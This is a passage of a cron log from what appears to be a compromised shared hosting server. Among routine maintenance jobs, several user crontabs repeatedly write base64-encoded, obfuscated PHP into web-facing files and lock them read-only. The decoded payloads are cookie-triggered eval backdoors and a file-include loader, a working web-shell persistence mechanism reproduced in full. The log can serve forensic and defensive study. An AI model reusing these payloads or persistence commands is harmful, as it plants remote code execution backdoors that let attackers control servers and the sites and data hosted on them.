0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:18:01 medusa CROND[8817]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:18:01 medusa CROND[8819]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 12:18:01 medusa CROND[8821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:18:01 medusa CROND[8820]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:18:01 medusa CROND[8822]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:18:01 medusa CROND[8823]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:18:01 medusa CROND[8824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:18:01 medusa CROND[8825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:18:01 medusa CROND[8827]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:18:01 medusa CROND[8828]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:18:01 medusa CROND[8830]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:19:01 medusa CROND[10555]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:19:01 medusa CROND[10556]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:19:01 medusa CROND[10557]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:19:01 medusa CROND[10558]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:19:01 medusa CROND[10559]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:19:01 medusa CROND[10560]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:19:01 medusa CROND[10561]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:19:01 medusa CROND[10562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:19:01 medusa CROND[10568]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:19:01 medusa CROND[10570]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:19:01 medusa CROND[10573]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:19:01 medusa CROND[10579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:20:01 medusa CROND[12326]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:20:02 medusa CROND[12337]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:20:02 medusa CROND[12338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:20:02 medusa CROND[12340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:20:02 medusa CROND[12339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:20:02 medusa CROND[12341]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 12:20:02 medusa CROND[12343]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:20:02 medusa CROND[12342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:20:02 medusa CROND[12344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:20:02 medusa CROND[12345]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 12:20:02 medusa CROND[12346]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 12:20:02 medusa CROND[12348]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:20:02 medusa CROND[12353]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:20:02 medusa CROND[12355]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 12:20:02 medusa CROND[12356]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:20:02 medusa CROND[12352]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 12:20:02 medusa CROND[12362]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:20:02 medusa CROND[12363]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:20:02 medusa CROND[12365]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:20:02 medusa CROND[12369]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
